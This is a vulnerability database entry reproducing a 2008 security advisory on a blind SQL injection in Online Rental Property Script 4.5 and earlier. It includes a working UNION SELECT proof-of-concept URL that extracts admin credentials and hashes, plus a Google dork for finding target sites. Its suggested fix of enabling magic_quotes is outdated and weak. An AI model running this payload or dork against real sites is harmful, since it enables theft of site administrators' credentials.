ECHO_ADV_91$2008

vendor:

Online Rental Property Script

by:

M.Hasran Addahroni

4.3

CVSS

MEDIUM

Blind Sql Injection Vulnerability

CWE

Product Name: Online Rental Property Script

Affected Version From: <= 4.5

Affected Version To: <= 4.5

Patch Exists: YES

Related CWE: N/A

CPE: cpe:a:online-rent:online_rental_property_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Online Rental Property Script version 4.5 and prior are prone to a blind SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue allows an attacker to manipulate SQL queries by injecting arbitrary data. This can be exploited to manipulate or disclose arbitrary data in the back-end database.

Mitigation:

The vendor has released a patch to address this issue. Users are advised to upgrade to the latest version.

Source

Exploit-DB raw data:

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_91$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_91$2008] Online Rental Property Script <= 4.5 (pid) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv91-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Online Rental Property Script
version       : <= 4.5
Vendor        : http://www.online-rent.com
Description   :

Since 2003 we develop, sell and support our ONLINE BOOKING ENGINE for rental properties with real estate option. Joomla CMS is now integrated with our script. DESKTOP software for property management by owners/agents. Online and offline payments. Comission based/subscription based advertising for owners. Two booking calendars, three online booking types. Google Maps integration and NEW Google Maps property listing. Advanced administration features: additional services, description fields, taxes, custom links and pages, multiple language support, multiple currencies, configurable search. Property Management features: Advanced Reservation Management, HTML pages, SEO optimization, traffic report, Ratecard, price grid and many more ... Newsletter module, cronjob for recurring tasks, IP ban, activity log. You can build your own design and 100% customize the text used in the script. 14 predefined design templates and 10 predefined display styles. Easy upgrades. Add property wizard
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "pid" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the username and hash md5 password from admin.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~

http://www.target.com/index.php?pid=-1%20union%20select%201,concat(id,0x3a,user,0x3a,password,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20from%20admin--&user=det

Dork:
~~~~
Google    : "allinurl:index.php?user=daysbooking"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 01 - 05 - 2008 bug found
- 01 - 05 - 2008 vendor contacted
- 05 - 05 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2008-05-05]